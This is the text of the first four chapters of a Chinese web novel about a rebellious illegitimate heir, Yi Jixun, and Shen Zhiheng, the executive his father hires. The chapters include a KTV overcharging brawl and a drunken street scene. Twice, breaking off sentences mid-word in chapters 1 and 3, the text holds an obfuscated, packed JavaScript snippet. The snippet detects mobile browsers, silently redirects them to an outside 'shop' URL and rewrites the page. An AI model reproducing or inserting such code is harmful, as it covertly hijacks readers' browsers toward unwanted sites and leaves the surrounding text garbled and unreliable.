《易燃关系》 1. 第 1 章 “易继勋,你真的太过分了!平时在学校打架斗殴、隔三差五逃课、和社会上那些狐朋狗友夜不归宿,这些事我都睁一只眼闭一只眼!易氏科创今天开业,到场的全是A市商界的领军人物、有头有脸的权贵,你居然敢在这种场合动手打你表哥!” “我真后悔让你来,明知道你就是这副烂泥扶不上墙的鬼样子!易家的脸都被你丢尽了!” “.......” 听着坐在办公桌前这个平时西装革履、矜贵自持,此时面容狰狞,额角青筋暴起暴起的中年男人的斥责,易继勋面无表情地睨了他一眼。 男人追问原因:“你说,你为什么要打你表哥?都把人家门牙打掉了,现在人还在医院躺着,你让我怎么跟人家家里交代?” 易继勋想起不久前那货哭爹喊娘的怂样,抬指摩挲了下刚揍过人的拳面,唇角勾出点凉凉的笑,不紧不慢道:“就是单纯看他不顺眼,打就打了。我呢,就是个上不了台面的野种,什么规矩都不懂。为了避免下次再搅了你们的好兴致,往后这种场合别叫我,省得污了你们的眼。” 句句都是易继勋的真心话。 他本就是个登不上台面的私生子罢了,不然他那个“表哥”,怎敢在宴会厅角落,用那种鄙夷到骨子里的语气肆意羞辱他。 ——“你妈不过是个靠卖画攀附男人、一身廉价颜料味的下贱画匠,除了涂涂抹抹献殷勤,什么本事都没有!你有妈生没妈养,靠着我老姨和老姨夫的施舍,蹭着舒家和易家的名头才能混进这种场合,真当自己是根正苗红的易家少爷了?骨子里跟你那个未婚先孕的下作妈一样,全是摆不上台面的Low货!” 易继勋的母亲早年难产,生下他便撒手人寰。彼时易承渊搭上舒家豪门千金的线,他早年靠灰色产业发家,正处在洗白产业、跻身上流圈层的关键节点,根本不敢让这个私生子暴露于人前,当即就把他扔给了城郊的远房亲戚抚养。 十二岁那年,他被易承渊接回了家。这个年轻时风流成性,在外不知留有多少私生子女的男人,唯独把他带回了“豪门府邸”。 易继勋认真地想过,“父亲”接他回来的用意是什么。 后来,他断断续续听闻了些易承渊早年的行事风格,渐渐得出了一个结论—— 易承渊在他身上,看到了年轻时的自己,不单是锋锐硬朗的面容如出一辙,更有着一模一样的性子:随性、张扬,桀骜难驯。 他不过是对方的“影子”。 不是因血缘而爱。 更不是为了生下他而付出生命的那个女人。 “你……我怎么会有你这样的儿子?”易承渊指尖一下一下地隔空点人,目光掠过少年凸起的骨节在皮肤下勾勒出的冷硬线条,落在他精瘦却布满青筋、力量感十足的手臂上时,忽然顿住。 一道鲜红狰狞的伤口还没结疤,藏在手臂侧面的位置,不仔细看不容易发现,可一旦看清,就能想象当时流了不少血,场面有多激烈。 易承渊眉头蹙紧,怒意里猝然掺了几分慌急,沉声道:“你那里怎么了?是不是又跟人动刀子打架了?整天就知道惹是生非,就不能让我省点心?” 易继勋不动声色地把手臂往后收了收,抬了抬眼皮,忽略了那天晚上和学校保安冲突时,被对方突然掏出刀捅伤的经过。 他懒散地扯了扯唇角,慢悠悠道:“小伤,不碍事,男人嘛,生活总得刺激点,易董事长你早年不也是很喜欢追求刺激吗。” 易承渊瞪了他一眼,无声地叹了口气。 偌大的办公室里忽然响起敲门声,屋子里的人下意识循声望去。 似乎预料到了来人,易承渊道:“请进。” 身着深色西装的男人推门而入,目光扫过易继勋时,眼底掠过一丝极淡的了然。 四目相对的刹那,男人没有刻意攀附,只是微微颔首示意。 易继勋鼻尖撞上一缕淡淡的古龙香水味,眉头几不可察地蹙了下。 哪来的小白脸还喷香水。 下意识往旁边挪了挪,拉开了些距离。 他侧眼顺着对方的身形自上而下打量过去。 长这样,真像个小白脸。 可也不得不承认,是真的生得好看。 男人身形挺拔,身高足有一米九,却仍保持着头小脸小的利落比例,这份由骨架带来的精明与轻盈感,是后天再怎么矫饰都复刻不来的。 鼻梁上架着一副银色细框眼镜,眉眼间却无半分古板。冷白色的肌肤透着青年人的干净通透,既有成熟稳重的内敛气场,又不乏二十几岁人该有的清隽灵动,两者分寸拿捏得恰到好处。 也不知是不是自己的错觉,对方温和的底子里,藏着股匪气—— 似是浸满了墨香,偏又沾着几分江湖的不好惹。 易继勋警惕地眯了眯眼。 男人率先开口,声线柔中带磁、松弛通透:“易董事长,易少。” 易继勋这才后知后觉地想起他是谁。 今天公司新成立的宴会上,他路过休息区时,恰巧听见几位来宾围着人奉承攀谈,嘴里反复说着“沈总年轻有为”,还特意提了句“是易董事长花大价钱从同行那边挖来的得力人才”,只是当时他没往心里去,内容左耳朵进右耳朵出,只模糊记了个姓沈的名头。 易继勋淡淡地收回目光,看向面前的易承渊:“这儿没我事儿了吧?我就不在这儿碍眼了。”抬脚要转身离去。 易承渊的声音响起:“等等。” “看到沈总,不打声招呼吗?” 沈总?跟老子有个屁关系,老子又不用给他打工混饭吃。 易继勋在心里嗤笑一声,面上故作困惑,目光在那位沈总与易承渊之间慢条斯理地转了一圈,随即挑起一边眉梢。 “所以呢?凭什么我非得跟他打招呼不可?他是我什么人啊?” 易承渊:“沈总比你大,又是公司的核心骨干,难道你作为晚辈不该打招呼吗?” 尴尬的气氛凝滞在空气里。 沈知珩适时轻笑一声,缓声道:“易董,年轻人性子有主见些是常事,少年意气,倒显得鲜活,总比死气沉沉的好。” 易承渊也没揪着方才的话不放,办公室里随即响起易继勋听不懂、只觉枯燥的商业交谈,他索性双手闲散地插进兜里,百无聊赖地站着。 直到听见易承渊对着沈知珩像是唠家常似的说:“沈总年少有为,是难得的人才。我这儿子今年高二,暑假一过便要升入高三。成绩我就不多说了,你好意思听,我都不好意思讲。”说到这里,他哈哈地笑了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233778|197641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,“六科加起来也就一百分吧。” 又叹了口气道:“这倒不要紧,我有两个儿子,家业用不着他来继承,所以我不求他能考上什么名牌大学,哪怕将来一事无成,吃喝用度我养他一辈子都无妨。我只盼着他能安稳度日,别在外头逞强斗狠,更别因一时莽撞丢了性命,让家里跟着蒙羞。” “......” 这些狗眼看人低的话,意思就是“我儿子活着就好”,着实把易继勋气得不轻。 “现在的教育跟我们那年代不一样了,以前老师管教严点随便打,家长还都求着老师揍孩子,”易承渊说,“现在倒好,老师打不得,骂重了又怕学生想不开抑郁了要担责任,他学校的老师根本管不住他。” 易承渊的目光突然顿住,似有深意地说:“知珩,你既然和我儿子住隔壁,低头不见抬头见,我希望你能多费点心,像老师一样好好教导教导他。” “用不着。”没等沈知珩开口答应,易继勋冷嗤一声,“我自己的日子自己过,轮不到外人指手画脚,你少给我安排这些乱七八糟的事。” 在他眼里,这个所谓的“邻居”,不过是他爸花钱请来、安在隔壁盯着自己的人罢了。 易继勋懒得再听,转身就走。 易承渊沉声喝止:“你要去哪?我现在说话是不好使了吗” 易继勋脚步顿了顿,微微侧过头:“去见那些‘狐朋狗友’啊,人嘛,自己活得爽就行,旁人的话,算个屁。” “你给我站住!老子今天不给你点教训,你是不是蹬鼻子上脸,连谁是爹都忘了?”易承渊被彻底惹恼,再也忍不下去,猛地拍向扶手起身,就要气势汹汹地走过去动手教训这个不听话的儿子。 易继勋抿了下唇,都做好了挨老子耳光、被脚踹屁股的准备。 他甚至已经绷紧了肩,打算硬扛着不躲不闪。 然而没等来预想中的动作。 他缓缓转过头,就见沈知珩几步上前拦在易承渊身前,堪堪稳住了这像炸药桶一般一点就炸的气氛。 沈知珩抬眼扫了眼手表,权衡好轻重缓急后,敬而不懦道:“易董,下午三点海外技术团队准时到会,他们带着核心算法方案过来,咱们个人的火气耗得起,易氏科创在AI赛道的全盘布局,未必耗得起。少爷天资聪慧,是个拎得清轻重的,您要教他立身行事,等会议尘埃落定,有的是时间从容教导,不急在这一时。” * 易继勋“毫发无伤”地离开了办公室。 电梯门口静悄悄的,四下无人,他清晰听见身后传来皮鞋踩在地面的脚步声。 易继勋:?? 沈知珩的声音从身后响起:“易少爷,论身份背景,我没资格当你的老师。平时你叫我一声沈哥,或者直接叫我大名沈知珩就好。你要去会朋友,我不拦着,只是爽归爽,别到时候被你嘴里那些狐朋狗友缠上,惹一身甩不开的麻烦。” 易继勋微讶,居然有人还拿他的身份背景当回事? 但短暂的震惊,并没有改变他的想法。 老子在外面混这么久,什么时候怕过?又有谁敢找老子麻烦? 易继勋意义不明地笑了笑,头也不回地道:“我妈就生我一个,我哪来的哥?咱们井水不犯河水,别瞎操心我的事儿。” 2. 第 2 章 易继勋应姜白的邀请,来了这家刚开业不久的KTV。 聚会的地点、消费的项目,都是他那些社会上的朋友随口定的,几乎都是易继勋主动买单。这次姜白格外积极,提前两天就敲定了时间。 易继勋翘着腿,闲散地靠在沙发上,偏头点燃烟,深吸一口,懒洋洋地扫了姜白一眼,问:“你很喜欢这儿?” 包厢里坐着四五个男生,姜白眯着小眼睛笑,正和身边的人叽里咕噜说着什么,听到易继勋的话顿了顿,转过头嬉皮笑脸道:“就听旁人说这儿挺上档次的,过来凑个新鲜。” 易继勋弹了弹烟灰,目光环视一圈:“听谁说的挺上档次?你倒是说说,这儿比咱们以前去的那些地方,好在哪儿?” 他横竖没瞧出这地方有什么特别的,也没有姜白来之前吹的那样天花乱坠。 姜白了解易继勋的暴脾气,觑着他的脸色,结结巴巴道:“易,易哥,你不喜欢这儿?我瞅着装修排场都挺像样的,你要是觉得不好,我跟你赔不是,下回咱再也不来了成不?” 看着他这副战战兢兢的模样,易继勋犹豫片刻,放弃了接下来的追问,只淡淡撂了句:“还行吧。” 姜白立马赔着笑应下。 这时服务员推门进来,把菜单分递给几人,姜白捏着一份凑过来,用胳膊肘戳了戳易继勋:“易哥,你想吃点啥?” 易继勋随意扫了眼菜单,方才易承渊的话还堵在心里,闷得他没胃口,撇开眼,只懒懒道:“你看着点。” 姜白眼神躲闪了下,应了声“好”。 “那小姐姐,先来两瓶轩尼诗和野格。再来......” 有一些听着是些没听过的名字,不过易继勋也没往心里去,贵能贵到哪里去,易承渊给的零花钱足够他花。 服务员很快摆上酒,又端来几盘果盘、炸串和卤味。 姜白瞧着易继勋冷着脸,立马有眼力见地凑过来,给他满满倒了一杯。 易继勋捏着玻璃杯,仰头便一饮而尽。 包厢门被轻敲了两下,有个男生吊儿郎当喊了声“进”,几个打扮妖娆的女生随即推门而入。 跟他出来混的这帮人,都早不是在校学生,全是在道上蹚浑水的主儿,说白了就是旁人嘴里“不务正业的小痞子”。每次出来玩,点几个女生陪酒助兴,都是既定的流程。 沙发坐垫被轻轻压陷,几道身影陆续落座,浓郁的香水味裹挟着脂粉气漫开来,呛得他鼻尖发紧。易继勋微微蹙起眉,眼皮都没抬一下,神色愈发冷淡。 “易少……” 女生们都穿着短到大腿根的裙子,易继勋怕不小心碰到,又往姜白那边挪了挪。 “易哥,咋了这是?被叔骂了?”姜白其实压根不了解易继勋的家庭,只知道他出手阔绰、家境优渥。先前好几次想打探他家事,都被易继勋冷脸怼了回去,他性子乖戾惹不起,姜白也不敢轻易提及。 易继勋不耐烦道:“不说话没人把你当哑巴。有酒有美人陪着,还堵不住你的嘴?” 可这次,姜白没像往常那样识趣闭嘴,像是壮了胆子,当起了心理医生:“易哥,话也不能这么说啊。父子哪有隔夜仇?叔供你吃供你穿,给你的零花钱够旁人挣好几年的,对你多上心。想必对婶儿也差不了,你们一家三口肯定幸福美满,犯不着为点小事置气。” 一家三口? 幸福美满? 易继勋低着眼,长睫掩去眼底翻涌的戾气,眸光沉得像深不见底的寒潭。 ——“那女人当初上赶着贴上来,死缠烂打没个够,我不过是顺了心意,犯了男人都难免犯的错。” “可孩子总不能在外面流浪,别人再一问起他爸是谁,这不就让外人看笑话了嘛。我也是没办法,才勉强把他接回来。雅妮,你就多担待担待,咱们走到今天也不容易。” …… “让你闭嘴,听不懂?”易继勋突然抬眼,随手抓起桌上一瓶未开封的酒,狠狠扔了出去。 “哐当——”一声脆响,玻璃瓶撞在墙上碎裂开来,酒液溅得满地都是。 方才还说说笑笑、你侬我侬的包厢,瞬间鸦雀无声。 易继勋浑身散发着骇人的戾气,周围的人齐刷刷盯着他,连大气都不敢出一口,生怕撞在枪口上。 姜白本来就离易继勋很近,吓得整个人缩成一团,像颗圆滚滚的丸子,眼神发颤,竟有几分要哭的模样。 他抬手扇了自己两个嘴巴,声音发颤地求饶:“易哥,易哥饶了我!我嘴笨不会说话,要是有哪句说错了,别跟我一般见识!” 易继勋:“……” 算了,别人又不知道他家那些破事。 “说话过过脑子,好好想想什么该说什么不该说。”易继勋冷静了会儿,收回目光,启了瓶新酒,往杯里满上,仰头一饮而尽。 “知道了易哥!”姜白讪讪道,觑着易继勋脸色稍缓,又狗腿地凑上去给他续了好几杯。 易继勋喝酒不上脸,喝得再多也看不出醉意。只是今日酒喝得实在多了些,脑子还算清明,意识却有些飘。 他划开手机瞥了眼时间,晚上九点,这状态自然是骑不了摩托的。 淡淡打了个酒嗝,撑着沙发站起来,打算叫车回去。 刚直起身,手肘猝不及防撞上另一道温软的胳膊。 易继勋动作顿住,缓缓转过头。 “哎呀,我的戒指呢?”身侧的陪酒小姐娇声惊呼,尖尖的嗓音瞬间刺破包厢里的喧闹,勾得周遭几道目光纷纷看了过来。 “怎么了?”有人随口问了句。 “我的戒指掉了,那是我妈留给我的念想啊……”女人抬眼怯生生瞟了易继勋一眼,眼里满是委屈,那模样分明是在说,易少,你撞掉了我的戒指,可怎么办才好。 她一边急着说话,一边慌忙用手拢了拢身侧的短裙裙摆,指尖揪着布料往下扯了扯,蹲身寻找。 易继勋定了定神,低眼扫了眼自己的手肘。 就方才的力道,会把戒指撞掉吗? 况且,他似乎没听到金属坠地的声响。 “快,都帮忙找找!”一旁醉醺醺的男声大着舌头喊。 包厢里灯光本就昏昏暗暗,五彩的射灯晃得人眼晕,角落里更是一片模糊。几个醉汉闻言,踉跄着蹲下去,手忙脚乱地在地上扒拉,没撑住几秒,接二连三摔了个屁股墩,瘫在地上,手还在胡乱摸,活像几只找不着方向的熊瞎子。 找了一圈,自然是没找到。 “易少……”女生欲言又止地看向他那张带着别样野性的帅脸。 易继勋一眼就看懂了她的心思,双手插进兜里,到底是不是他碰的还两说,可他懒得争这些闲气。 小姑娘也就十八九岁的年纪,在这种地方讨生活不易,犯不着揪着这点事非要争出个是非曲直。 易继勋垂眸看着女孩,说得爽快:“多少,我赔你。” 女生犹豫了一下,眼角余光飞快扫了眼身后,温吞着报数:“三万六。” “支付宝账号给我。”易继勋滑开手机,女生报完账号,他点了转账,屏幕却突然弹出提示—— xxxx银行卡余额不足。 易继勋眼底掠过一丝诧异,指尖一顿,又换了一张卡。 结果还是一样。 xxxx银行卡余额不足。 这突如其来的提示让他心头一滞,随即反应过来。 不对劲。 易承渊把他的卡停了? 易承渊最不缺的就是钱,从前不管他怎么和老子吵,对方在经济上从没亏待过他。易继勋也从没有什么穷酸的骨气,既然给,他就花,巴不得把易承渊花破产才好。 那为什么会卡被冻结? 思来想去。 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四目相对的瞬间,姜白倏地收回视线,眼神慌慌张张地左右飘移,不敢与他对视。 回想起初姜白一开始的反常,易继勋眸色沉了沉,眼底凝起几分冷意。 眼下当务之急是结账的事,易继勋压下心思,收回视线落在收银台的账单上,扫过那几个从没听过的酒名。 方才姜白点单时他没留意,可再正规的酒水,也绝不可能卖到这个价钱,这家KTV分明是坐地起价,宰客宰得毫无道理。 他伸手抄起台上的菜单,仔细看了看,蹙起眉头,又放了下去。 随后漫不经心抬眼看向服务员,嗤笑一声,凉飕飕道:“你家的酒是金子做的?别跟老子扯那些花里胡哨的名字,说白了不就是普通果酒掺点洋酒?别家同款原料的酒,撑死几百块一瓶,到你这翻十倍卖,当老子好糊弄?” 服务员是个年龄不大的男生,语气冷硬道:“单子是你们自己点的,每一款酒都标着价,点的时候不看,现在又嫌贵,难道是想吃霸王餐?” 喝醉酒的人比平常更容易情绪上头,易继勋反问:“那老子要是不付,你能拿我怎么样?” 下一秒。 他余光敏锐地察觉到,大厅四周几个身强体壮的保镖,正缓缓朝着他这边逼近,一双双眼睛凶神恶煞地盯着他。 那架势,要是他敢不付钱,就别想踏出这扇门。 可他易继勋,从来就不是任人拿捏的怂主。 他最不怕的就是这种硬碰硬的场面。 收银员瞧着他这副有恃无恐的模样,眼底闪过一丝不屑:“没钱还敢来这种地方?既然付不起账,当初就别装大方点这么贵的酒,现在装硬气有什么用?我看你,就是想赖账!不知道我们老大是干什么的?识相的赶紧付钱,不然我喊人把你们这群人扣在这儿,直到你付完钱为止!” 易继勋当然不会听他的。 双方终究还是打了起来。 易继勋打起架来疯戾,每一拳都奔着要害砸去。他没受过正经训练,全是凭着在街头打得多一点点攒下的实战经验。 身旁那几个醉鬼就是一群帮不上忙的废物,被服务员撂在地上,连爬起来的力气都没有。 到头来,竟是几个保镖围着他一个人打。 可毕竟寡难以敌众,易继勋侧身躲过旁边挥来的一记硬拳,拳风擦着脸颊扫过—— 这拳头要是实打实砸在脸上,估计得把鼻梁砸塌,脸都得去整容医院重做。 再这么硬打下去肯定要吃亏。 可易继勋的骨子里,从来就没有“求饶”两个字。 正当他准备继续硬刚。 “等等。” “动手前想清楚,打死了高中生,你们担得起这个后果吗?” 3. 第 3 章 男人的声线极具辨识度,是恰到好处的中低音,不带一丝尖锐与浮躁,清晰沉稳,掷地有声。 像重石落地般,一字一句稳稳砸进在场每个人的耳朵里。 明明只是一句平常话,却震得这群人瞬间停了动作,目光齐刷刷投向正朝这边走来、西装革履、身形高瘦的年轻人。 易继勋眯了眯眼。 这家伙跑来凑什么热闹。 难不成真把自己当根葱,要站出来当老师说教他? 被镇住的收银员梗着脖子问:“你谁啊?”沈知珩矜贵书卷的气质,与眼前这群毛头小子判若云泥,料想是有身份背景的,收银员方才嚣张的气焰收敛了几分,却依旧硬气,“高中生又怎么了?他们几个在这赊账消费,我们不过是合理索要,旁人少管闲事。” 沈知珩走到易继勋身旁,意味深长地看了他一眼,又抬眼环视四周,最后目光落回那收银员身上:“KTV场所纵然能对有些事情睁一只眼闭一只眼,可未成年保护法摆在这里,明文禁止向未成年人售酒,商家更得在醒目位置贴好禁售标志。我看咱们这儿,好像没有[1]。” 收银员虽被他这话惊了一瞬,却也不是软柿子,当即扯着嗓子顶回去:“就算是又怎样?轮得到你在这指手画脚?” 这不客气的话一激,沈知珩眸底倏然漫开一层冷色,却也只是转瞬即逝,下一秒眉峰轻展,唇角勾出一抹温润儒雅的笑,说起这些话来就像日常闲聊一般。 “这世上的规矩从来都是如此,一边立起条条框框,一边就给钻空子破规矩的人,留好了牟取暴利的门道。你们这儿收了多少未成年的酒钱,这事严重到什么地步,我想你们比我心里清楚。” “违规向未成年售酒,轻则警告、没收违法所得,重则罚款最高五十万,情节恶劣的,直接停业整顿[2]。我的确不能把你们怎么样,但我认识公安的人,我想,他们会管。” 这年轻人说得有理有据,不像是唬人的,KTV里的人其实都信了,一个个面面相觑。 可那收银员还抱着侥幸,嘴依旧硬得很:“你……你少在这吓唬人,装什么有门路。”瞧着他不过二十四五岁的年纪,也就是刚毕业不久的大学生,能认识什么大人物? 沈知珩不急不缓掏出手机:“是不是装的,打个电话验证下就知道了。” 收银员仍不肯松口,态度带着明显的质疑:“谁知道你是不是早串通好了人,在这装模作样演一出。” 话音刚落,沈知珩迈步朝他走近了两步,透过镜片的目光平静地落在他脸上,语气依旧平和:“那用你的手机打,总没问题了吧?方便吗?”说着,绅士地伸出了手。 收银员怔了两秒,心里偏不信这个邪,干脆将手机递了过去。 沈知珩接过手机拨通号码,待电话响了两声后,开口道:“王局,我是沈知珩。” “知珩啊,好些日子没见了。听我家小子说,你到A市来工作了,这边还适应吗?有空就到老哥家里坐坐,喝两杯。对了,你突然找我,是有什么事吗?” A市的王局常因破获大案上本地新闻,连声音都被市民记熟了。 收银员猛地抽回沈知珩手里的手机挂断电话,又慌忙给领班打了电话请示,最后对着沈知珩道:“行了行了,别在这添乱,赶紧带着人走!” 目睹了全程的易继勋,没想到沈知珩三言两语就把问题解决了。他清了清嗓子,一句话没说,故作散漫地转了身。 “易哥,快拉我一把,我起不来了。”瘫在地上的醉鬼喃喃道。 易继勋懒得理会,淡声道:“自己想办法。” 说完,他睨了沈知珩一眼。 停顿了下。 还是选择了径直往外面走。 人对自己心底排斥的人和事,都是带着本能的抗拒,这份抗拒无关对方的所作所为,只因为对方身上贴着自己厌恶的标签,就像一道无形的屏障,隔绝了所有的认可与感激。 沈知珩今日的确帮了他,换做旁人,他会坦荡说声谢谢,往后也会找机会还这个人情。 可偏偏,他是易承渊的人、是被易承渊派来管着他的“老师”。 今天自己因“没钱付账打架”丢脸到家的模样,偏偏又被他看得一清二楚。 易继勋自嘲地骂了声“操”。 走到KTV门口,八月底的晚风裹着几分凉意吹过来,却拂不去酒精上头的醉意。 A市的夜晚繁华,这个点路上依旧车水马龙,只是门口这侧不好拦车,只能过了横道去对面的路口碰运气。 酒喝得太多,易继勋脚步虚浮踉跄,视线也有些发飘模糊,过马路时根本没看清路况。 一辆轿车直冲冲朝他驶来,眼看就要撞上。 电光火石间,易继勋感受到身后传来一股力道,猛地将他往回拉。 他重心不稳,身子一歪,直直撞进了一具坚硬的胸膛里。 感受到淡淡的古龙香,混合着晚风的清冽,易继勋心头倏地一滞。 但仅仅一瞬间,对肢体接触格外敏锐抗拒的他,立刻抽离身子,一把推开了身前的人。 然后,他慢条斯理地掀起薄薄的眼皮,扯出一抹冷笑,大言不惭道:“沈总,你拦着我过马路干嘛?” 少年的五官生得极具冲击感,是集齐了东西方精致与深邃的欧亚混血相,骨相堪称完美,一眼看过去便让人移不开眼。 身高也远超同龄人,十七岁就有一米八几的个子,身形是少年人独有的精瘦,却并不羸弱,周身漫溢着年轻男性的张扬荷尔蒙,鲜活又富有张力。 指尖感受到硬朗的骨骼感,沈知珩迅速收回神,松开了扶着少年手臂的手,面不改色道:“我拦着你过马路,自然是担心你的安全。要不要坐我的车?我送你回去。” 易继勋警惕地打量男人几秒,冷眉冷眼道:“你该不会一直跟踪着老子吧?” 沈知珩轻笑一声,挑能说的讲,语气坦诚又平和:“说跟踪真算不上,我只是恰巧撞见,顺道过来接你。” “都是白开水,就别硬装优乐美了。”易继勋不会说虚头巴脑的漂亮话,也懒得与人虚与委蛇,直接戳破话茬,盯着沈知珩道:“是不是你,在我爸面前撺掇,停了老子的零花钱?” 这话问得直接,沈知珩没立刻应声。 见他不答,易继勋脸色更沉:“怎么?被我说中了?断了我的钱,难不成还想让我向你伸手要?” 听到这话,沈知珩才缓缓开口:“易少,我停了你的零花钱,对我而言能有什么好处?难道还要我自掏腰包,供你肆意花销?我只是受易董事长所托,打理公司相关事务,并不是来做你的提款机的。” 这货摆明了跟自己踢皮球,再掰扯下去也掰不出个四五六出来。易继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233780|197641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勋烦躁得很,索性把话摊开,霸道地说:“姓沈的,老子最后跟你说一次,你我之间一毛钱关系没有,你不过是易家的一条狗,乖乖给我老子做事就够了,别拿点破权当令箭,也不掂量掂量自己,配管老子?” 他压根没留意到身旁沈知珩眼底的温度一点点褪得干净,脚步虚浮地就往马路上闯。 刚迈两步,跟前突然冲来一辆出租车。 有了上回的教训,这次他刹住了脚。 司机当即按下车窗,扯着嗓子骂:“眼瞎了?走路不看道的?想死不会去跳楼?少在这碰瓷老子的车!” 污言秽语劈头盖脸砸过来,易继勋的耳膜像被针扎了似的,脑子“嗡”地一声炸了。 他哪受过这气,只有他骂人的份,骂起人来浑不讲理,也不管难不难听:“你他/妈再说一遍?骂你/娘的!有种给老子滚下来!” 被人当众这么指着鼻子骂,司机也来了火气,当即一脚刹车停在路边,“砰”地推开车门就冲了过来,嘴里还骂骂咧咧:“小兔崽子还敢跟老子叫板?今天就让你知道厉害! 气势汹汹的架势刚摆开,司机发现易继勋竟生得这般高大,宽肩窄腰,身形足足比自己高出一头,浑身透着股天不怕地不怕的混劲儿,脚步下意识顿了顿,可脸上的不善丝毫未减,依旧硬着头皮往前凑了两步:“怎、么?想打架?老子怕你不成?” 这正是易继勋想要的。 他憋了一肚子的火气没处撒,此刻只想着痛痛快快打一架宣泄,当即攥紧了拳头,眼神凶狠得像头被激怒的野兽,冷声道:“来啊,谁怂谁是孙子。” 可就在这时,只见沈知珩几步上前,挡在了中间。 他抬眼对着司机,淡声道:“师傅,孩子年纪小,刚才确实是没顾着看路,我替他给您赔个不是。您跑生意也图个平安顺遂,何必为这点小事置气,还耽误您挣钱。” 司机还想再骂几句解气,刚张了嘴,却陡然触到眼前这个高个子男人的目光。 镜片后的目光沉如墨潭,不带一丝温度,那冰冷的视线极具穿透力,仿佛能看透人心底的所有情绪,让他莫名生出一股寒意,到了嘴边的话硬生生咽了回去。 司机顿时敛了火气,悻悻地嘟囔了句:“懒得跟你们计较。” 转身“砰”地摔上车门,发动车子离开了。 * 易继勋的怒火还没发泄出来,就被沈知珩这么拦了下来。他冷哼一声,抬脚又要往马路边闯,像是要跟谁置气似的。 “易少,等等。” 肩头忽然被一只手扣住,那只手收着沉劲,扣得紧实,竟让他难以一下子挣动,硬生生将他拽了回来。 易继勋漫不经心地掀了掀眼皮,目光落向搭在肩头那只骨节分明的手,自然察觉到对方周身的气场冷了下来,却依旧是那副混不吝的模样,语气冷硬道:“滚。别逼老子动手。” 沈知珩:“易少,坐我的车回去,比较安全。” 易继勋喉间又挤出一声冷哼,手腕一翻,迅雷不及掩耳之势就朝着沈知珩脸上砸去。 沈知珩眼疾手快,头微微一偏,避开这记重拳。 不等易继勋收回拳头,沈知珩反手一扣,攥住他的手腕。 然后,一记利落的手刀,快、准、狠地劈在易继勋颈侧。 少年猝不及防,身体一软,眼神瞬间失焦,直直倒了下去。 4. 第 4 章 易继勋再次醒来时,暖金色的晨光透过窗帘缝隙钻进来,柔纱似的铺了半床。 他掀了掀沉重的眼皮,抬手揉了揉额角让自己清醒,意识定下来后,眉头倏地微蹙,带着警惕扫过四周。 这间卧室主色调是米白配浅灰,走的是极简禁欲的风格。家具皆是简约的实木款,线条利落无冗余雕花,肌理细腻,摆置得错落有致。 全屋整洁得一尘不染,不难猜出主人有洁癖。 这就是昨天打晕他的沈知珩的卧室。 他居然敢打自己。 易继勋又气又觉得丢脸,一把掀开被子,才发现自己衣袜都没脱,就这么穿着睡了一宿。 他对这些细节没什么讲究,下床,发现自己的运动鞋底下还垫着一块防滑垫。 这是嫌自己的鞋脏了他家的地板? 易继勋带着昨天的怨气一下子踢开了垫子。 肚子咕噜噜响了两声。 昨天没怎么吃东西,饿得前胸贴后背了,他打算去外面随便吃点垫垫肚子。 余光忽然扫到床头柜上的水杯,杯沿还凝着淡淡的水雾,显然是刚温好没多久的。 他扯着嘴角满不在乎地笑了声。 真当他是小孩? 醒酒的东西都备好了,还是杯苹果蜂蜜汁。 推开卧室门,走了几步,易继勋目光骤然定住。 客厅方向,男人穿着修身得体的灰色居家服,裤腿勾勒出利落的线条,裤脚收着,露出一点筋骨分明的脚踝,正坐在客厅的岩板餐台旁,慢条斯理地吃着早餐。 扫了眼餐桌上的食物,有一碗他叫不出种类的粥,还有烧麦、虾饺,玻璃杯里盛着的茶也叫不上名字。 看样子是广式早餐,吃得还挺讲究。 在找对方算账和尽快离开这陌生地方之间,易继勋还是选了后者。 虽然他恨不得一拳砸在那个男人脸上,但聪明人不会在别人家里闹事,往后有的是机会,不必急在这一时。 他干脆无视了沈知珩,径直朝着门口走去。 “易少醒了?昨晚睡得还舒服吗?要不要用些早餐,我做了两份,正好一起。” 听到对方这声柔而韧的话音,易继勋嗤了一声,漫不经心地抬眼睨着他:“用不着,不饿。你慢慢吃,两份别把自己撑死就成。” “早餐再不想吃也得垫两口,空腹耗着,对身体不好。”沈知珩抬眸看他,语气随性,“不必跟我见外,咱们都认识。” “谁跟你见外了?谁又和你认识了?”瞧着他这副装模作样的德行,易继勋气极反笑,眉峰挑着戾气,“昨天那事儿老子记着呢,你敢打晕我,我很不爽,咱俩这事没完。” 沈知珩缓缓放下餐具,抽了张纸巾轻拭唇角,唇角勾着点淡笑:“易少倒是总把‘爽’字挂在嘴边,可你有没有想过,这‘爽’字,是汉字里含错号最多的一个,这就注定了,人活着从不是只图一时痛快的。昨晚你喝了不少酒,路都走不稳,往马路上闯,稍不留意就是一场交通事故。就算我与你素不相识,也不会坐视意外发生。打晕你,不过是迫不得已的下策罢了,还要向易少说声抱歉。” 在易继勋的世界里,人分两种:一种是被他揍得连话都说不出来的,另一种是动手揍他的,这个人就是他老子。 可眼前这小子,和他以往遇上的所有人都不一样。 敢一次次挑衅他,还把话说得滴水不漏,既没挨过他的揍,也没揍过他。 就像他卯足了劲挥出一拳,却狠狠砸在棉花上,被软乎乎地卸了所有力道。 